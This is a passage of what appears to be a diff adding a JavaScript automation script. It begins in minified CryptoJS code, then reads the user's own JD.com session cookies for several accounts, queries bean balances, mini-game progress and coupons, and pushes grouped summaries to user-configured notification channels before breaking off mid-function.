lt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, lt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, lt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, lt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)lt[i] = 16711935 & (lt[i] << 8 | lt[i] >>> 24) | 4278255360 & (lt[i] << 24 | lt[i] >>> 8), t[e + i] ^= lt[i] }, blockSize: 4, ivSize: 2 }), ct.Rabbit = at._createHelper(ut), bt.mode.CTR = (pt = bt.lib.BlockCipherMode.extend(), _t = pt.Encryptor = pt.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); r.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var c = 0; c < i; c++)t[e + c] ^= s[c] } }), pt.Decryptor = _t, pt), yt = (vt = bt).lib.StreamCipher, gt = vt.algo, Bt = [], wt = [], kt = [], St = gt.RabbitLegacy = yt.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], i = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]], n = this._b = 0; n < 4; n++)Mt.call(this); for (n = 0; n < 8; n++)i[n] ^= r[n + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; i[0] ^= a, i[1] ^= l, i[2] ^= h, i[3] ^= f, i[4] ^= a, i[5] ^= l, i[6] ^= h, i[7] ^= f; for (n = 0; n < 4; n++)Mt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Mt.call(this), Bt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, Bt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, Bt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, Bt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)Bt[i] = 16711935 & (Bt[i] << 8 | Bt[i] >>> 24) | 4278255360 & (Bt[i] << 24 | Bt[i] >>> 8), t[e + i] ^= Bt[i] }, blockSize: 4, ivSize: 2 }), vt.RabbitLegacy = yt._createHelper(St), bt.pad.ZeroPadding = { pad: function (t, e) { var r = 4 * e; t.clamp(), t.sigBytes += r - (t.sigBytes % r || r) }, unpad: function (t) { var e = t.words, r = t.sigBytes - 1; for (r = t.sigBytes - 1; 0 <= r; r--)if (e[r >>> 2] >>> 24 - r % 4 * 8 & 255) { t.sigBytes = r + 1; break } } }, bt }); + +const $ = new Env('京东资产变动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const JXUserAgent = $.isNode() ? (process.env.JX_USER_AGENT ? process.env.JX_USER_AGENT : ``) : ``; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let NowHour = new Date().getHours(); +let allMessage = ''; +let allMessage2 = ''; +let allReceiveMessage = ''; +let allWarnMessage = ''; +let ReturnMessage = ''; +let ReturnMessageMonth = ''; +let allMessageMonth = ''; + +let MessageUserGp2 = ''; +let ReceiveMessageGp2 = ''; +let WarnMessageGp2 = ''; +let allMessageGp2 = ''; +let allMessage2Gp2 = ''; +let allMessageMonthGp2 = ''; +let IndexGp2 = 0; + +let MessageUserGp3 = ''; +let ReceiveMessageGp3 = ''; +let WarnMessageGp3 = ''; +let allMessageGp3 = ''; +let allMessage2Gp3 = ''; +let allMessageMonthGp3 = ''; +let IndexGp3 = 0; + +let MessageUserGp4 = ''; +let ReceiveMessageGp4 = ''; +let WarnMessageGp4 = ''; +let allMessageGp4 = ''; +let allMessageMonthGp4 = ''; +let allMessage2Gp4 = ''; +let IndexGp4 = 0; + +let notifySkipList = ""; +let IndexAll = 0; +let EnableMonth = "false"; +let isSignError = false; +let ReturnMessageTitle=""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let intPerSent = 0; +let i = 0; +let llShowMonth = false; +let Today = new Date(); +let strAllNotify=""; +let strSubNotify=""; +let llPetError=false; +let strGuoqi=""; +let RemainMessage = '\n'; +RemainMessage += "⭕活动攻略:⭕" + '\n'; +RemainMessage += '【极速金币】京东极速版->我的->金币(极速版使用)\n'; +RemainMessage += '【京东赚赚】微信->京东赚赚小程序->底部赚好礼->提现无门槛红包(京东使用)\n'; +RemainMessage += '【京东秒杀】京东->中间频道往右划找到京东秒杀->中间点立即签到->兑换无门槛红包(京东使用)\n'; +RemainMessage += '【东东萌宠】京东->我的->东东萌宠,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【领现金】京东->我的->东东萌宠->领现金(微信提现+京东红包)\n'; +RemainMessage += '【东东农场】京东->我的->东东农场,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【京喜工厂】京喜->我的->京喜工厂,完成是商品红包,用于购买指定商品(不兑换会过期)\n'; +RemainMessage += '【京东金融】京东金融app->我的->养猪猪,完成是白条支付券,支付方式选白条支付时立减.\n'; +RemainMessage += '【其他】京喜红包只能在京喜使用,其他同理'; + +let WP_APP_TOKEN_ONE = ""; + +let TempBaipiao = ""; +let llgeterror=false; + +let doExJxBeans ="false"; +let time = new Date().getHours(); +if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } + /* if(process.env.BEANCHANGE_ExJxBeans=="true"){ + if (time >= 17){ + console.log(`检测到设定了临期京豆转换喜豆...`); + doExJxBeans = process.env.BEANCHANGE_ExJxBeans; + } else{ + console.log(`检测到设定了临期京豆转换喜豆,但时间未到17点后,暂不执行转换...`); + } + } */ +} +if(WP_APP_TOKEN_ONE) + console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); +else + console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); + +if ($.isNode() && process.env.BEANCHANGE_PERSENT) { + intPerSent = parseInt(process.env.BEANCHANGE_PERSENT); + console.log(`检测到设定了分段通知:` + intPerSent); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送2,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送3,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送4,将禁用分段通知`); +} + +//取消月结查询 +//if ($.isNode() && process.env.BEANCHANGE_ENABLEMONTH) { + //EnableMonth = process.env.BEANCHANGE_ENABLEMONTH; +//} + +if ($.isNode() && process.env.BEANCHANGE_SUBNOTIFY) { + strSubNotify=process.env.BEANCHANGE_SUBNOTIFY; + strSubNotify+="\n"; + console.log(`检测到预览置顶内容,将在一对一推送的预览显示...\n`); +} + +if ($.isNode() && process.env.BEANCHANGE_ALLNOTIFY) { + strAllNotify=process.env.BEANCHANGE_ALLNOTIFY; + console.log(`检测到设定了公告,将在推送信息中置顶显示...`); + strAllNotify = `【✨✨✨✨公告✨✨✨✨】\n`+strAllNotify; + console.log(strAllNotify+"\n"); + strAllNotify +=`\n🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏` +} + + +if (EnableMonth == "true" && Today.getDate() == 1 && Today.getHours() > 17) + llShowMonth = true; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + + +let decExBean=0; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//查询开关 +let strDisableList = ""; +let DisableIndex=-1; +if ($.isNode()) { + strDisableList = process.env.BEANCHANGE_DISABLELIST ? process.env.BEANCHANGE_DISABLELIST.split('&') : []; +} + +//喜豆查询 +let EnableJxBeans=true; +DisableIndex=strDisableList.findIndex((item) => item === "喜豆查询"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭喜豆查询"); + EnableJxBeans=false +} + +//汪汪乐园 +let EnableJoyPark=false; +/* DisableIndex = strDisableList.findIndex((item) => item === "汪汪乐园"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪乐园查询"); + EnableJoyPark=false +} */ + +//京东赚赚 +let EnableJdZZ=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东赚赚"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东赚赚查询"); + EnableJdZZ=false; +} + +//京东秒杀 +let EnableJdMs=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东秒杀"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东秒杀查询"); + EnableJdMs=false; +} + +//东东农场 +let EnableJdFruit=true; +DisableIndex = strDisableList.findIndex((item) => item === "东东农场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东农场查询"); + EnableJdFruit=false; +} + +//极速金币 +let EnableJdSpeed=true; +DisableIndex = strDisableList.findIndex((item) => item === "极速金币"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭极速金币查询"); + EnableJdSpeed=false; +} + +//京喜牧场 +let EnableJxMC=true; +DisableIndex= strDisableList.findIndex((item) => item === "京喜牧场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜牧场查询"); + EnableJxMC=false; +} +//京喜工厂 +let EnableJxGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京喜工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜工厂查询"); + EnableJxGC=false; +} + +// 京东工厂 +let EnableJDGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京东工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东工厂查询"); + EnableJDGC=false; +} +//领现金 +let EnableCash=true; +DisableIndex=strDisableList.findIndex((item) => item === "领现金"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭领现金查询"); + EnableCash=false; +} + +//金融养猪 +let EnablePigPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "金融养猪"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭金融养猪查询"); + EnablePigPet=false; +} +//东东萌宠 +let EnableJDPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "东东萌宠"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东萌宠查询"); + EnableJDPet=false +} + +//7天过期京豆 +let EnableOverBean=true; +DisableIndex=strDisableList.findIndex((item) => item === "过期京豆"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭过期京豆查询"); + EnableOverBean=false +} + +//查优惠券 +let EnableChaQuan=true; +DisableIndex=strDisableList.findIndex((item) => item === "查优惠券"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭优惠券查询"); + EnableChaQuan=false +} + +DisableIndex=strDisableList.findIndex((item) => item === "活动攻略"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭活动攻略显示"); + RemainMessage=""; +} + +//汪汪赛跑 +let EnableJoyRun=true; +DisableIndex=strDisableList.findIndex((item) => item === "汪汪赛跑"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪赛跑查询"); + EnableJoyRun=false +} + +//E卡查询 +let EnableCheckEcard=true; +DisableIndex=strDisableList.findIndex((item) => item === "E卡查询"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭E卡查询"); + EnableCheckEcard=false +} + +//京豆收益查询 +let EnableCheckBean=true; +DisableIndex=strDisableList.findIndex((item) => item === "京豆收益"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京豆收益查询"); + EnableCheckBean=false +} + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.todayOutcomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.levelName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + $.JdzzNum = 0; + $.JdMsScore = 0; + $.JdFarmProdName = ''; + $.JdtreeEnergy = 0; + $.JdtreeTotalEnergy = 0; + $.treeState = 0; + $.JdwaterTotalT = 0; + $.JdwaterD = 0; + $.JDwaterEveryDayT = 0; + $.JDtotalcash = 0; + $.JDEggcnt = 0; + $.Jxmctoken = ''; + $.DdFactoryReceive = ''; + $.jxFactoryInfo = ''; + $.jxFactoryReceive = ''; + $.jdCash = 0; + $.isPlusVip = 0; + $.JingXiang = ""; + $.allincomeBean = 0; //月收入 + $.allexpenseBean = 0; //月支出 + $.joylevel = 0; + $.beanChangeXi=0; + $.inJxBean=0; + $.OutJxBean=0; + $.todayinJxBean=0; + $.todayOutJxBean=0; + $.xibeanCount = 0; + $.PigPet = ''; + $.YunFeiTitle=""; + $.YunFeiQuan = 0; + $.YunFeiQuanEndTime = ""; + $.YunFeiTitle2=""; + $.YunFeiQuan2 = 0; + $.YunFeiQuanEndTime2 = ""; + $.JoyRunningAmount = ""; + $.ECardinfo = ""; + $.PlustotalScore=0; + TempBaipiao = ""; + strGuoqi=""; + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********`); + + await Promise.all([ + TotalBean(), + TotalBean2()]) + + if (!$.isLogin) { + await isLoginByX1a0He(); + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await Promise.all([ + getJoyBaseInfo(), //汪汪乐园 + getJdZZ(), //京东赚赚 + getMs(), //京东秒杀 + getjdfruitinfo(), //东东农场 + cash(), //极速金币 + jdJxMCinfo(), //京喜牧场 + bean(), //京豆查询 + getJxFactory(), //京喜工厂 + getDdFactoryInfo(), // 京东工厂 + jdCash(), //领现金 + GetJxBeaninfo(), //喜豆查询 + GetPigPetInfo(), //金融养猪 + GetJoyRuninginfo(), //汪汪赛跑 + CheckEcard(), //E卡查询 + queryScores() + ]) + + await showMsg(); + if (intPerSent > 0) { + if ((i + 1) % intPerSent == 0) { + console.log("分段通知条件达成,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + allMessage = ""; + allMessageMonth = ""; + } + + } + } + } + //组1通知 + if (ReceiveMessageGp4) { + allMessage2Gp4 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp4; + } + if (WarnMessageGp4) { + if (allMessage2Gp4) { + allMessage2Gp4 = `\n` + allMessage2Gp4; + } + allMessage2Gp4 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp4 + allMessage2Gp4; + } + + //组2通知 + if (ReceiveMessageGp2) { + allMessage2Gp2 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp2; + } + if (WarnMessageGp2) { + if (allMessage2Gp2) { + allMessage2Gp2 = `\n` + allMessage2Gp2; + } + allMessage2Gp2 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp2 + allMessage2Gp2; + } + + //组3通知 + if (ReceiveMessageGp3) { + allMessage2Gp3 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp3; + } + if (WarnMessageGp3) { + if (allMessage2Gp3) { + allMessage2Gp3 = `\n` + allMessage2Gp3; + } + allMessage2Gp3 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp3 + allMessage2Gp3; + } + + //其他通知 + if (allReceiveMessage) { + allMessage2 = `【⏰商品白嫖活动领取提醒⏰】\n` + allReceiveMessage; + } + if (allWarnMessage) { + if (allMessage2) { + allMessage2 = `\n` + allMessage2; + } + allMessage2 = `【⏰商品白嫖活动任务提醒⏰】\n` + allWarnMessage + allMessage2; + } + + if (intPerSent > 0) { + //console.log("分段通知还剩下" + cookiesArr.length % intPerSent + "个账号需要发送..."); + if (allMessage || allMessageMonth) { + console.log("分段通知收尾,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + } else { + + if ($.isNode() && allMessageGp2) { + var TempMessage=allMessageGp2; + if(strAllNotify) + allMessageGp2=strAllNotify+`\n`+allMessageGp2; + await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp3) { + var TempMessage=allMessageGp3; + if(strAllNotify) + allMessageGp3=strAllNotify+`\n`+allMessageGp3; + await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp4) { + var TempMessage=allMessageGp4; + if(strAllNotify) + allMessageGp4=strAllNotify+`\n`+allMessageGp4; + await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + + if ($.isNode() && allMessageMonthGp2) { + await notify.sendNotify(`京东月资产变动#2`, `${allMessageMonthGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp3) { + await notify.sendNotify(`京东月资产变动#3`, `${allMessageMonthGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp4) { + await notify.sendNotify(`京东月资产变动#4`, `${allMessageMonthGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + } + + if ($.isNode() && allMessage2Gp2) { + allMessage2Gp2 += RemainMessage; + await notify.sendNotify("京东白嫖榜#2", `${allMessage2Gp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp3) { + allMessage2Gp3 += RemainMessage; + await notify.sendNotify("京东白嫖榜#3", `${allMessage2Gp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp4) { + allMessage2Gp4 += RemainMessage; + await notify.sendNotify("京东白嫖榜#4", `${allMessage2Gp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2) { + allMessage2 += RemainMessage; + await notify.sendNotify("京东白嫖榜", `${allMessage2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function showMsg() { + //if ($.errorMsg) + //return + ReturnMessageTitle=""; + ReturnMessage = ""; + var strsummary=""; + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); + } + + if (userIndex2 != -1) { + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex3 != -1) { + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex4 != -1) { + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; + } + + if ($.levelName || $.JingXiang){ + ReturnMessage += `【账号信息】`; + if ($.levelName) { + if ($.levelName.length > 2) + $.levelName = $.levelName.substring(0, 2); + + if ($.levelName == "注册") + $.levelName = `😊普通`; + + if ($.levelName == "钻石") + $.levelName = `💎钻石`; + + if ($.levelName == "金牌") + $.levelName = `🥇金牌`; + + if ($.levelName == "银牌") + $.levelName = `🥈银牌`; + + if ($.levelName == "铜牌") + $.levelName = `🥉铜牌`; + + if ($.isPlusVip == 1){ + ReturnMessage += `${$.levelName}Plus`; + if($.PlustotalScore) + ReturnMessage+=`(${$.PlustotalScore}分)` + } + else + ReturnMessage += `${$.levelName}会员`; + } + + if ($.JingXiang){ + if ($.levelName) { + ReturnMessage +=","; + } + ReturnMessage += `${$.JingXiang}`; + } + ReturnMessage +=`\n`; + } + if (llShowMonth) { + ReturnMessageMonth = ReturnMessage; + ReturnMessageMonth += `\n【上月收入】:${$.allincomeBean}京豆 🐶\n`; + ReturnMessageMonth += `【上月支出】:${$.allexpenseBean}京豆 🐶\n`; + + console.log(ReturnMessageMonth); + + if (userIndex2 != -1) { + allMessageMonthGp2 += ReturnMessageMonth + `\n`; + } + if (userIndex3 != -1) { + allMessageMonthGp3 += ReturnMessageMonth + `\n`; + } + if (userIndex4 != -1) { + allMessageMonthGp4 += ReturnMessageMonth + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessageMonth += ReturnMessageMonth + `\n`; + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京东月资产变动", `${ReturnMessageMonth}`, `${$.UserName}`); + } + + } + if (EnableCheckBean) { + ReturnMessage += `【今日京豆】收${$.todayIncomeBean}豆`; + strsummary += `【今日京豆】收${$.todayIncomeBean}豆`; + if ($.todayOutcomeBean != 0) { + ReturnMessage += `,支${$.todayOutcomeBean}豆`; + strsummary += `,支${$.todayOutcomeBean}豆`; + } + ReturnMessage += `\n`; + strsummary += `\n`; + ReturnMessage += `【昨日京豆】收${$.incomeBean}豆`; + + if ($.expenseBean != 0) { + ReturnMessage += `,支${$.expenseBean}豆`; + } + ReturnMessage += `\n`; + } + + + if ($.beanCount){ + ReturnMessage += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary+= `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } else { + if($.levelName || $.JingXiang) + ReturnMessage += `【当前京豆】获取失败,接口返回空数据\n`; + else{ + ReturnMessage += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } + } + + if (EnableJxBeans) { + if ($.todayinJxBean || $.todayOutJxBean) { + ReturnMessage += `【今日喜豆】收${$.todayinJxBean}豆`; + if ($.todayOutJxBean != 0) { + ReturnMessage += `,支${$.todayOutJxBean}豆`; + } + ReturnMessage += `\n`; + } + if ($.inJxBean || $.OutJxBean) { + ReturnMessage += `【昨日喜豆】收${$.inJxBean}豆`; + if ($.OutJxBean != 0) { + ReturnMessage += `,支${$.OutJxBean}豆`; + } + ReturnMessage += `\n`; + } + ReturnMessage += `【当前喜豆】${$.xibeanCount}喜豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + strsummary += `【当前喜豆】${$.xibeanCount}豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + } + + + if ($.JDEggcnt) { + ReturnMessage += `【京喜牧场】${$.JDEggcnt}枚鸡蛋\n`; + } + if ($.JDtotalcash) { + ReturnMessage += `【极速金币】${$.JDtotalcash}币(≈${($.JDtotalcash / 10000).toFixed(2)}元)\n`; + } + if ($.JdzzNum) { + ReturnMessage += `【京东赚赚】${$.JdzzNum}币(≈${($.JdzzNum / 10000).toFixed(2)}元)\n`; + } + if ($.JdMsScore != 0) { + ReturnMessage += `【京东秒杀】${$.JdMsScore}币(≈${($.JdMsScore / 1000).toFixed(2)}元)\n`; + } + if($.ECardinfo) + ReturnMessage += `【礼卡余额】${$.ECardinfo}\n`; + + if ($.joylevel || $.jdCash || $.JoyRunningAmount) { + ReturnMessage += `【其他信息】`; + if ($.joylevel) { + ReturnMessage += `汪汪:${$.joylevel}级`; + } + if ($.jdCash) { + if ($.joylevel) { + ReturnMessage += ","; + } + ReturnMessage += `领现金:${$.jdCash}元`; + } + if ($.JoyRunningAmount) { + if ($.joylevel || $.jdCash) { + ReturnMessage += ","; + } + ReturnMessage += `汪汪赛跑:${$.JoyRunningAmount}元`; + } + + ReturnMessage += `\n`; + + } + + if ($.JdFarmProdName != "") { + if ($.JdtreeEnergy != 0) { + if ($.treeState === 2 || $.treeState === 3) { + ReturnMessage += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + TempBaipiao += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + } else { + if ($.JdwaterD != 'Infinity' && $.JdwaterD != '-Infinity') { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%,${$.JdwaterD}天)\n`; + } else { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%)\n`; + + } + } + } else { + if 